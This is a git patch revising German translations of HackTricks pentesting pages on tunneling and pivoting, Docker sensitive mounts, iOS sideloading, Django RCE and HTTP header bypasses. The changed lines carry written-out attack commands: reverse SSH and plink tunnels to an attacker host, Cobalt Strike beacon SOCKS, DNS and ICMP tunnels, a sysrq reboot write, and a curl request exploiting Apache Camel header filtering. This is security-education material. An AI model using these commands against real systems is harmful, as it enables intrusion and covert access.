From 72a9b5e342c372badf2ae65d8a0098ea095932f6 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 12 Jul 2025 08:58:00 +0000 Subject: [PATCH] Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src --- .../tunneling-and-port-forwarding.md | 28 +++++++++---------- .../sensitive-mounts.md | 6 ++-- .../ios-pentesting-without-jailbreak.md | 20 ++++++------- .../pentesting-web/django.md | 12 ++++---- .../pentesting-web/special-http-headers.md | 22 +++++++-------- .../sql-injection/ms-access-sql-injection.md | 22 +++++++-------- 6 files changed, 55 insertions(+), 55 deletions(-) diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index f42d34c68..55d2d7f74 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -33,7 +33,7 @@ ssh -Y -C @ #-Y is less secure but faster than -X ``` ### Local Port2Port -Öffnen Sie einen neuen Port im SSH-Server --> Anderer Port +Öffnen Sie neuen Port auf SSH-Server --> Anderer Port ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` @@ -43,7 +43,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in ``` ### Port2Port -Lokaler Port --> Kompromittierter Host (SSH) --> Third_box:Port +Lokaler Port --> Kompromittierter Host (SSH) --> Dritte_Box:Port ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example @@ -138,7 +138,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ### SOCKS-Proxy -Öffnen Sie einen Port im Teamserver, der an allen Schnittstellen lauscht und verwendet werden kann, um **den Verkehr durch das Beacon zu leiten**. +Öffnen Sie einen Port im Teamserver, der auf allen Schnittstellen lauscht und verwendet werden kann, um **den Verkehr durch das Beacon zu leiten**. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -156,7 +156,7 @@ rportfwd stop [bind port] ``` Zu beachten: -- Beacons Reverse-Port-Forward ist dafür ausgelegt, **Verkehr zum Team-Server zu tunneln, nicht um zwischen einzelnen Maschinen weiterzuleiten**. +- Beacons Reverse-Port-Forwarding ist dafür ausgelegt, **Verkehr zum Team-Server zu tunneln, nicht um zwischen einzelnen Maschinen weiterzuleiten**. - Der Verkehr wird **innerhalb des C2-Verkehrs von Beacon getunnelt**, einschließlich P2P-Links. - **Admin-Rechte sind nicht erforderlich**, um Reverse-Port-Forwards auf hohen Ports zu erstellen. @@ -250,7 +250,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127 ```bash victim> python client.py --server-ip --server-port 9999 ``` -Durch **NTLM-Proxy** pivotieren +Pivotieren durch **NTLM-Proxy** ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` @@ -326,7 +326,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o Es ist wie eine Konsolen-PuTTY-Version (die Optionen sind sehr ähnlich zu einem ssh-Client). -Da dieses Binary auf dem Opfer ausgeführt wird und es ein ssh-Client ist, müssen wir unseren ssh-Dienst und Port öffnen, damit wir eine umgekehrte Verbindung haben können. Dann, um nur einen lokal zugänglichen Port auf einen Port in unserer Maschine weiterzuleiten: +Da dieses Binary auf dem Opfer ausgeführt wird und es sich um einen ssh-Client handelt, müssen wir unseren ssh-Dienst und -Port öffnen, damit wir eine umgekehrte Verbindung herstellen können. Dann, um nur einen lokal zugänglichen Port auf einen Port in unserer Maschine weiterzuleiten: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 @@ -364,7 +364,7 @@ Jetzt können wir über **RDP** mit dem **Opfer** über **`mstsc.exe`** **verbin ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` -Bestätigen Sie nun auf Ihrem Gerät (Angreifer), dass der Port 1080 lauscht: +Bestätigen Sie jetzt auf Ihrem Gerät (Angreifer), dass der Port 1080 lauscht: ``` netstat -antb | findstr 1080 ``` @@ -388,7 +388,7 @@ http-proxy 8080 ntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) Es authentifiziert sich gegen einen Proxy und bindet einen lokalen Port, der an den externen Dienst weitergeleitet wird, den Sie angeben. Dann können Sie das Tool Ihrer Wahl über diesen Port verwenden.\ -Zum Beispiel den weitergeleiteten Port 443 +Zum Beispiel, um Port 443 weiterzuleiten. ``` Username Alice Password P@ssw0rd @@ -396,7 +396,7 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` -Jetzt, wenn Sie beispielsweise den **SSH**-Dienst auf dem Opfer auf Port 443 einstellen, können Sie sich über den Angreifer-Port 2222 damit verbinden.\ +Jetzt, wenn Sie beispielsweise den **SSH**-Dienst beim Opfer auf Port 443 einstellen, können Sie sich über den Angreifer-Port 2222 damit verbinden.\ Sie könnten auch einen **meterpreter** verwenden, der sich mit localhost:443 verbindet und der Angreifer hört auf Port 2222. ## YARP @@ -409,13 +409,13 @@ Ein Reverse-Proxy, der von Microsoft erstellt wurde. Sie finden es hier: [https: [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -Root wird in beiden Systemen benötigt, um tun-Adapter zu erstellen und Daten zwischen ihnen über DNS-Abfragen zu tunneln. +Root wird in beiden Systemen benötigt, um Tun-Adapter zu erstellen und Daten zwischen ihnen über DNS-Abfragen zu tunneln. ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` -Der Tunnel wird sehr langsam sein. Sie können eine komprimierte SSH-Verbindung durch diesen Tunnel erstellen, indem Sie Folgendes verwenden: +Der Tunnel wird sehr langsam sein. Sie können eine komprimierte SSH-Verbindung durch diesen Tunnel erstellen, indem Sie: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` @@ -459,7 +459,7 @@ Proxychains intercepts `gethostbyname` libc call und tunnelt TCP-DNS-Anfragen du [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -Root wird in beiden Systemen benötigt, um TUN-Adapter zu erstellen und Daten zwischen ihnen mithilfe von ICMP-Echo-Anfragen zu tunneln. +Root wird in beiden Systemen benötigt, um Tun-Adapter zu erstellen und Daten zwischen ihnen mithilfe von ICMP-Echo-Anfragen zu tunneln. ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v @@ -570,7 +570,7 @@ Tunnel: credentials-file: /root/.cloudflared/.json url: http://127.0.0.1:8000 ``` -Starten Sie den Connector: +Starte den Connector: ```bash cloudflared tunnel run mytunnel ``` @@ -599,7 +599,7 @@ localIP = "127.0.0.1" localPort = 3389 remotePort = 5000 ``` -### Verwendung des neuen SSH-Gateways (kein frpc-Binär) +### Verwendung des neuen SSH-Gateways (kein frpc-Binärdatei) ```bash # On frps (attacker) sshTunnelGateway.bindPort = 2200 # add to frps.toml diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index 45947b6b0..1bcc515ad 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -63,7 +63,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Überprüfen des Zugriffs auf modprobe - Kann zu Privilegieneskalation oder Root-Shell-Zugriff führen, wenn `/proc/sys/fs/binfmt_misc/register` beschreibbar ist. - Relevanter Exploit und Erklärung: - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) -- Detailliertes Tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) +- Ausführliches Tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) ### Andere in `/proc` @@ -91,7 +91,7 @@ echo b > /proc/sysrq-trigger # Neustart des Hosts - Listet vom Kernel exportierte Symbole und deren Adressen auf. - Essentiell für die Entwicklung von Kernel-Exploits, insbesondere zum Überwinden von KASLR. - Adressinformationen sind eingeschränkt, wenn `kptr_restrict` auf `1` oder `2` gesetzt ist. -- Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +- Einzelheiten in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). #### **`/proc/[pid]/mem`** @@ -131,7 +131,7 @@ echo b > /proc/sysrq-trigger # Neustart des Hosts #### **`/sys/kernel/uevent_helper`** - Wird zur Handhabung von Kernel-Gerät `uevents` verwendet. -- Das Schreiben in `/sys/kernel/uevent_helper` kann beliebige Skripte bei `uevent`-Auslösungen ausführen. +- Schreiben in `/sys/kernel/uevent_helper` kann beliebige Skripte bei `uevent`-Auslösungen ausführen. - **Beispiel für Ausnutzung**: ```bash diff --git a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md index 3a2c1e3ce..9e7a318d8 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md +++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md @@ -18,7 +18,7 @@ Mit einem alten jailbroken Gerät ist es möglich, die IPA zu installieren, **si 2. Installiere und starte [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) auf deinem macos. 3. Öffne `Terminal` auf deinem Mac und wechsle zu `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. Die IPA wird später in diesem Ordner erscheinen. 4. Du solltest dein iOS-Gerät sehen. Doppelklicke darauf und klicke dann auf Hinzufügen + → Apps in der oberen Menüleiste. -5. Nachdem du auf Hinzufügen geklickt hast, wird Configurator die IPA von Apple herunterladen und versuchen, sie auf dein Gerät zu pushen. Wenn du meiner Empfehlung gefolgt bist und die IPA bereits installiert hast, erscheint eine Aufforderung, die App neu zu installieren. +5. Nachdem du auf Hinzufügen geklickt hast, wird Configurator die IPA von Apple herunterladen und versuchen, sie auf dein Gerät zu pushen. Wenn du meiner vorherigen Empfehlung gefolgt bist und die IPA bereits installiert hast, wird eine Aufforderung erscheinen, die App neu zu installieren. 6. Die IPA sollte heruntergeladen werden in `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`, von wo du sie abrufen kannst. Siehe [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) für detailliertere Informationen zu diesem Prozess. @@ -31,7 +31,7 @@ Um sie zu installieren, entpacke einfach die IPA: ```bash unzip redacted.ipa -d unzipped ``` -Überprüfen Sie die `Info.plist` auf die minimal unterstützte Version, und wenn Ihr Gerät älter ist als diese, ändern Sie den Wert, damit es unterstützt wird. +Überprüfen Sie die `Info.plist` auf die minimal unterstützte Version und wenn Ihr Gerät älter ist, ändern Sie den Wert, damit es unterstützt wird. Zippen Sie die IPA zurück: ```bash @@ -42,14 +42,14 @@ Dann installieren Sie die IPA beispielsweise mit: ```bash ideviceinstaller -i no-min-version.ipa -w ``` -Beachten Sie, dass Sie möglicherweise den **AppSync Unified Tweak** von Cydia benötigen, um `invalid signature`-Fehler zu vermeiden. +Beachten Sie, dass Sie möglicherweise den **AppSync Unified tweak** von Cydia benötigen, um `invalid signature`-Fehler zu vermeiden. -Sobald installiert, können Sie den **Iridium Tweak** von Cydia verwenden, um die entschlüsselte IPA zu erhalten. +Sobald installiert, können Sie den **Iridium tweak** von Cydia verwenden, um die entschlüsselte IPA zu erhalten. ### Patch-Berechtigungen & Neuunterzeichnung -Um die Anwendung mit der Berechtigung `get-task-allow` neu zu unterzeichnen, stehen mehrere Tools wie `app-signer`, `codesign` und `iResign` zur Verfügung. `app-signer` hat eine sehr benutzerfreundliche Oberfläche, die es ermöglicht, eine IPA-Datei sehr einfach neu zu unterzeichnen, indem die zu unterzeichnende IPA, **`get-task-allow`** und das zu verwendende Zertifikat sowie das Bereitstellungsprofil angegeben werden. +Um die Anwendung mit der Berechtigung `get-task-allow` neu zu unterzeichnen, stehen mehrere Tools wie `app-signer`, `codesign` und `iResign` zur Verfügung. `app-signer` hat eine sehr benutzerfreundliche Oberfläche, die es ermöglicht, eine IPA-Datei sehr einfach neu zu unterzeichnen, indem die zu unterzeichnende IPA, **`get-taks-allow`** und das zu verwendende Zertifikat sowie das Bereitstellungsprofil angegeben werden. Bezüglich des Zertifikats und der Signierungsprofile bietet Apple **kostenlose Entwickler-Signierungsprofile** für alle Konten über Xcode an. Erstellen Sie einfach eine App und konfigurieren Sie eine. Konfigurieren Sie dann das **iPhone, um den Entwickler-Apps zu vertrauen**, indem Sie zu `Einstellungen` → `Datenschutz & Sicherheit` navigieren und auf `Entwicklermodus` klicken. @@ -61,9 +61,9 @@ ideviceinstaller -i resigned.ipa -w ### Entwicklermodus aktivieren (iOS 16+) -Seit iOS 16 hat Apple den **Entwicklermodus** eingeführt: Jede Binärdatei, die `get_task_allow` *oder* mit einem Entwicklungszertifikat signiert ist, verweigert das Starten, bis der Entwicklermodus auf dem Gerät aktiviert ist. Sie können auch Frida/LLDB nicht anhängen, es sei denn, dieses Flag ist aktiviert. +Seit iOS 16 hat Apple den **Entwicklermodus** eingeführt: Jede Binary, die `get_task_allow` *oder* mit einem Entwicklungszertifikat signiert ist, wird sich weigern zu starten, bis der Entwicklermodus auf dem Gerät aktiviert ist. Sie können auch Frida/LLDB nicht anhängen, es sei denn, dieses Flag ist aktiviert. -1. Installieren oder übertragen Sie **irgendeine** entwickler-signierte IPA auf das Telefon. +1. Installieren oder pushen Sie **irgendeine** entwickler-signierte IPA auf das Telefon. 2. Navigieren Sie zu **Einstellungen → Datenschutz & Sicherheit → Entwicklermodus** und aktivieren Sie ihn. 3. Das Gerät wird neu gestartet; nach Eingabe des Passworts werden Sie aufgefordert, den Entwicklermodus **einzuschalten**. @@ -74,9 +74,9 @@ Der Entwicklermodus bleibt aktiv, bis Sie ihn deaktivieren oder das Telefon zur Es gibt jetzt mehrere ausgereifte Möglichkeiten, IPAs zu sideloaden und sie ohne Jailbreak aktuell zu halten: | Tool | Anforderungen | Stärken | Einschränkungen | -|------|--------------|-----------|-------------| +|------|--------------|---------|-----------------| | **AltStore 2 / SideStore** | macOS/Windows/Linux-Begleitgerät, das die IPA alle 7 Tage mit einem kostenlosen Entwicklerprofil neu signiert | Automatisches Nachladen über Wi-Fi, funktioniert bis iOS 17 | Computer im selben Netzwerk erforderlich, 3-App-Limit von Apple auferlegt | -| **TrollStore 1/2** | Gerät mit iOS 14 – 15.4.1, das anfällig für den CoreTrust-Bug ist | *Dauerhafte* Signierung (kein 7-Tage-Limit); kein Computer erforderlich, sobald installiert | Nicht unterstützt auf iOS 15.5+ (Bug gepatcht) | +| **TrollStore 1/2** | Gerät mit iOS 14 – 15.4.1, das anfällig für den CoreTrust-Bug ist | *Permanente* Signierung (kein 7-Tage-Limit); kein Computer erforderlich, sobald installiert | Nicht unterstützt auf iOS 15.5+ (Bug gepatcht) | Für routinemäßige Pentests auf aktuellen iOS-Versionen sind Alt/Side-Store in der Regel die praktischste Wahl. @@ -106,7 +106,7 @@ MobSF wird automatisch die Binärdatei bereitstellen, einen Frida-Server im App- ### iOS 17 & Lockdown-Modus Hinweise -* **Lockdown-Modus** (Einstellungen → Datenschutz & Sicherheit) blockiert den dynamischen Linker daran, nicht signierte oder extern signierte dynamische Bibliotheken zu laden. Wenn Sie Geräte testen, die möglicherweise diesen Modus aktiviert haben, stellen Sie sicher, dass er **deaktiviert** ist, da sonst Ihre Frida/objection-Sitzungen sofort beendet werden. +* **Lockdown-Modus** (Einstellungen → Datenschutz & Sicherheit) blockiert den dynamischen Linker beim Laden von nicht signierten oder extern signierten dynamischen Bibliotheken. Wenn Sie Geräte testen, die möglicherweise diesen Modus aktiviert haben, stellen Sie sicher, dass er **deaktiviert** ist, da sonst Ihre Frida/objection-Sitzungen sofort beendet werden. * Pointer Authentication (PAC) wird systemweit auf A12+ Geräten durchgesetzt. Frida ≥16 behandelt PAC-Stripping transparent – halten Sie einfach sowohl *frida-server* als auch die Python/CLI-Toolchain auf dem neuesten Stand, wenn eine neue Hauptversion von iOS veröffentlicht wird. ## Referenzen diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index c785e3973..6cb362eb6 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -1,18 +1,18 @@ # Django -{{#include /banners/hacktricks-training.md}} +{{#include /src/banners/hacktricks-training.md}} ## Cache-Manipulation zu RCE -Die standardmäßige Cache-Speichermethode von Django sind [Python-Pickles](https://docs.python.org/3/library/pickle.html), was zu RCE führen kann, wenn [nicht vertrauenswürdige Eingaben entpickelt werden](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Wenn ein Angreifer Schreibzugriff auf den Cache erlangen kann, kann er diese Schwachstelle zu RCE auf dem zugrunde liegenden Server eskalieren**. +Die standardmäßige Cache-Speichermethode von Django ist [Python pickles](https://docs.python.org/3/library/pickle.html), was zu RCE führen kann, wenn [nicht vertrauenswürdige Eingaben unpickled werden](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Wenn ein Angreifer Schreibzugriff auf den Cache erlangen kann, kann er diese Schwachstelle zu RCE auf dem zugrunde liegenden Server eskalieren**. -Der Django-Cache wird an einem von vier Orten gespeichert: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [Speicher](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [Dateien](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) oder eine [Datenbank](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Caches, die in einem Redis-Server oder einer Datenbank gespeichert sind, sind die wahrscheinlichsten Angriffsvektoren (Redis-Injection und SQL-Injection), aber ein Angreifer könnte auch in der Lage sein, den dateibasierten Cache zu nutzen, um einen beliebigen Schreibvorgang in RCE umzuwandeln. Die Maintainer haben dies als kein Problem eingestuft. Es ist wichtig zu beachten, dass der Cache-Dateiordner, der SQL-Tabellenname und die Details des Redis-Servers je nach Implementierung variieren. +Der Django-Cache wird an einem von vier Orten gespeichert: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [Speicher](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [Dateien](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) oder eine [Datenbank](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Caches, die in einem Redis-Server oder einer Datenbank gespeichert sind, sind die wahrscheinlichsten Angriffsvektoren (Redis-Injection und SQL-Injection), aber ein Angreifer könnte auch in der Lage sein, einen dateibasierten Cache zu nutzen, um einen beliebigen Schreibvorgang in RCE umzuwandeln. Die Maintainer haben dies als kein Problem markiert. Es ist wichtig zu beachten, dass der Cache-Dateiordner, der SQL-Tabellenname und die Details des Redis-Servers je nach Implementierung variieren. Dieser HackerOne-Bericht bietet ein großartiges, reproduzierbares Beispiel für die Ausnutzung des Django-Caches, der in einer SQLite-Datenbank gespeichert ist: https://hackerone.com/reports/1415436 --- ## Server-Side Template Injection (SSTI) -Die Django-Template-Sprache (DTL) ist **turing-vollständig**. Wenn vom Benutzer bereitgestellte Daten als *Template-String* gerendert werden (zum Beispiel durch den Aufruf von `Template(user_input).render()` oder wenn `|safe`/`format_html()` das automatische Escaping entfernt), kann ein Angreifer vollständige SSTI → RCE erreichen. +Die Django Template Language (DTL) ist **turing-vollständig**. Wenn vom Benutzer bereitgestellte Daten als *Template-String* gerendert werden (zum Beispiel durch den Aufruf von `Template(user_input).render()` oder wenn `|safe`/`format_html()` das automatische Escaping entfernt), kann ein Angreifer vollständige SSTI → RCE erreichen. ### Erkennung 1. Suchen Sie nach dynamischen Aufrufen von `Template()` / `Engine.from_string()` / `render_to_string()`, die *irgendwelche* unsanierten Anforderungsdaten enthalten. @@ -66,7 +66,7 @@ Senden Sie das resultierende Cookie, und die Payload wird mit den Berechtigungen ## Aktuelle (2023-2025) Hochrisiko-Django-CVEs, die Pentester überprüfen sollten * **CVE-2025-48432** – *Protokollinjektion über nicht escaped `request.path`* (behoben am 4. Juni 2025). Ermöglicht Angreifern, Zeilenumbrüche/ANSI-Codes in Protokolldateien zu schmuggeln und die nachgelagerte Protokollanalyse zu vergiften. Patch-Level ≥ 4.2.22 / 5.1.10 / 5.2.2. -* **CVE-2024-42005** – *Kritische SQL-Injektion* in `QuerySet.values()/values_list()` auf `JSONField` (CVSS 9.8). Erstellen Sie JSON-Schlüssel, um aus der Anführungszeichen zu brechen und beliebige SQL-Befehle auszuführen. Behoben in 4.2.15 / 5.0.8. +* **CVE-2024-42005** – *Kritische SQL-Injektion* in `QuerySet.values()/values_list()` auf `JSONField` (CVSS 9.8). Erstellen Sie JSON-Schlüssel, um aus der Anführungszeichen zu brechen und beliebige SQL auszuführen. Behoben in 4.2.15 / 5.0.8. Fingerabdruck immer die genaue Framework-Version über die `X-Frame-Options`-Fehlerseite oder den Hash von `/static/admin/css/base.css` und testen Sie die oben genannten, wo anwendbar. @@ -76,4 +76,4 @@ Fingerabdruck immer die genaue Framework-Version über die `X-Frame-Options`-Feh * Django-Sicherheitsfreigabe – "Django 5.2.2, 5.1.10, 4.2.22 behebt CVE-2025-48432" – 4. Juni 2025. * OP-Innovate: "Django veröffentlicht Sicherheitsupdates zur Behebung der SQL-Injektionsanfälligkeit CVE-2024-42005" – 11. Aug. 2024. -{{#include /banners/hacktricks-training.md}} +{{#include /src/banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index accbb1753..259dd6a1d 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -35,7 +35,7 @@ ## Hop-by-Hop Header -Ein hop-by-hop Header ist ein Header, der dafür ausgelegt ist, vom Proxy, der die Anfrage bearbeitet, verarbeitet und konsumiert zu werden, im Gegensatz zu einem End-to-End-Header. +Ein hop-by-hop Header ist ein Header, der dafür ausgelegt ist, vom Proxy, der die Anfrage derzeit bearbeitet, verarbeitet und konsumiert zu werden, im Gegensatz zu einem End-to-End-Header. - `Connection: close, X-Forwarded-For` @@ -96,10 +96,10 @@ Ein hop-by-hop Header ist ein Header, der dafür ausgelegt ist, vom Proxy, der d - **`Content-Language`**: Beschreibt die menschliche Sprache(n), die für das Publikum bestimmt sind, sodass es einem Benutzer ermöglicht, je nach bevorzugter Sprache des Benutzers zu unterscheiden. - **`Content-Location`**: Gibt einen alternativen Standort für die zurückgegebenen Daten an. -Aus der Sicht eines Pentests sind diese Informationen normalerweise "nutzlos", aber wenn die Ressource **geschützt** ist durch einen 401 oder 403 und Sie einen **Weg** finden können, um diese **Info** zu **erhalten**, könnte dies **interessant** sein.\ +Aus der Sicht eines Pentests sind diese Informationen normalerweise "nutzlos", aber wenn die Ressource **geschützt** ist durch eine 401 oder 403 und Sie einen **Weg** finden können, um diese **Info** zu **erhalten**, könnte dies **interessant** sein.\ Zum Beispiel kann eine Kombination aus **`Range`** und **`Etag`** in einer HEAD-Anfrage den Inhalt der Seite über HEAD-Anfragen leaken: -- Eine Anfrage mit dem Header `Range: bytes=20-20` und einer Antwort, die `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` enthält, leakt, dass der SHA1 des Bytes 20 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` ist. +- Eine Anfrage mit dem Header `Range: bytes=20-20` und mit einer Antwort, die `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` enthält, leakt, dass der SHA1 des Bytes 20 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` ist. ## Server-Info @@ -113,11 +113,11 @@ Zum Beispiel kann eine Kombination aus **`Range`** und **`Etag`** in einer HEAD- ## Downloads -- Der **`Content-Disposition`**-Header in HTTP-Antworten gibt an, ob eine Datei **inline** (innerhalb der Webseite) oder als **Anhang** (heruntergeladen) behandelt werden soll. Zum Beispiel: +- Der **`Content-Disposition`**-Header in HTTP-Antworten gibt an, ob eine Datei **inline** (innerhalb der Webseite) angezeigt oder als **Anhang** (heruntergeladen) behandelt werden soll. Zum Beispiel: ``` Content-Disposition: attachment; filename="filename.jpg" ``` -Das bedeutet, dass die Datei mit dem Namen "filename.jpg" zum Herunterladen und Speichern bestimmt ist. +Das bedeutet, dass die Datei mit dem Namen "filename.jpg" zum Herunterladen und Speichern vorgesehen ist. ## Sicherheitsheader @@ -127,9 +127,9 @@ Das bedeutet, dass die Datei mit dem Namen "filename.jpg" zum Herunterladen und ../../pentesting-web/content-security-policy-csp-bypass/ {{#endref}} -### **Vertrauenswürdige Typen** +### **Vertraute Typen** -Durch die Durchsetzung von Vertrauenswürdigen Typen über CSP können Anwendungen vor DOM XSS-Angriffen geschützt werden. Vertrauenswürdige Typen stellen sicher, dass nur speziell gestaltete Objekte, die den festgelegten Sicherheitsrichtlinien entsprechen, in gefährlichen Web-API-Aufrufen verwendet werden können, wodurch JavaScript-Code standardmäßig gesichert wird. +Durch die Durchsetzung von Vertrauten Typen über CSP können Anwendungen vor DOM XSS-Angriffen geschützt werden. Vertraute Typen stellen sicher, dass nur speziell gestaltete Objekte, die den festgelegten Sicherheitsrichtlinien entsprechen, in gefährlichen Web-API-Aufrufen verwendet werden können, wodurch JavaScript-Code standardmäßig gesichert wird. ```javascript // Feature detection if (window.trustedTypes && trustedTypes.createPolicy) { @@ -160,7 +160,7 @@ X-Frame-Options: DENY ``` ### **Cross-Origin Resource Policy (CORP) und Cross-Origin Resource Sharing (CORS)** -CORP ist entscheidend für die Festlegung, welche Ressourcen von Websites geladen werden können, um Cross-Site-Leaks zu mindern. CORS hingegen ermöglicht einen flexibleren Mechanismus für das Cross-Origin Resource Sharing und lockert die Same-Origin-Policy unter bestimmten Bedingungen. +CORP ist entscheidend für die Festlegung, welche Ressourcen von Websites geladen werden können, um Cross-Site-Leaks zu mindern. CORS hingegen ermöglicht einen flexibleren Mechanismus für das Cross-Origin-Ressourcenteilung, der die Same-Origin-Policy unter bestimmten Bedingungen lockert. ``` Cross-Origin-Resource-Policy: same-origin Access-Control-Allow-Origin: https://example.com @@ -187,17 +187,17 @@ Typische Situationen, in denen dieser Fehler auftritt: * Benutzerdefinierte Erlauben/Verweigern-Listen, die versuchen, „gefährliche“ interne Header zu blockieren, bevor die Anfrage eine sensible Komponente erreicht. * Interne Implementierungen von Reverse-Proxy-Pseudo-Headern (z. B. `X-Forwarded-For` Sanitierung). -* Frameworks, die Verwaltungs-/Debug-Endpunkte exponieren und sich auf Headernamen zur Authentifizierung oder Befehlsauswahl verlassen. +* Frameworks, die Verwaltungs-/Debug-Endpunkte exponieren und auf Headernamen für Authentifizierung oder Befehlsauswahl angewiesen sind. ### Abusing the bypass 1. Identifizieren Sie einen Header, der serverseitig gefiltert oder validiert wird (zum Beispiel durch Lesen des Quellcodes, der Dokumentation oder von Fehlermeldungen). -2. Senden Sie den **gleichen Header mit einer anderen Groß-/Kleinschreibung** (gemischte Groß- und Kleinschreibung oder Großbuchstaben). Da HTTP-Stacks Header normalerweise nur *nach* der Ausführung des Benutzercodes kanonisieren, kann die anfällige Überprüfung übersprungen werden. +2. Senden Sie den **gleichen Header mit einer anderen Großschreibung** (gemischte Groß- und Kleinschreibung oder Großbuchstaben). Da HTTP-Stacks Header normalerweise nur *nach* der Ausführung des Benutzercodes kanonisieren, kann die anfällige Überprüfung übersprungen werden. 3. Wenn die nachgelagerte Komponente Header groß-/kleinschreibungsempfindlich behandelt (die meisten tun dies), akzeptiert sie den vom Angreifer kontrollierten Wert. ### Beispiel: Apache Camel `exec` RCE (CVE-2025-27636) -In anfälligen Versionen von Apache Camel versuchen die *Command Center*-Routen, untrusted Anfragen zu blockieren, indem sie die Header `CamelExecCommandExecutable` und `CamelExecCommandArgs` entfernen. Der Vergleich wurde mit `equals()` durchgeführt, sodass nur die genauen Kleinschreibnamen entfernt wurden. +In anfälligen Versionen von Apache Camel versuchen die *Command Center*-Routen, untrusted Anfragen zu blockieren, indem sie die Header `CamelExecCommandExecutable` und `CamelExecCommandArgs` entfernen. Der Vergleich wurde mit `equals()` durchgeführt, sodass nur die exakten Kleinbuchstabennamen entfernt wurden. ```bash # Bypass the filter by using mixed-case header names and execute `ls /` on the host curl "http:///command-center" \ diff --git 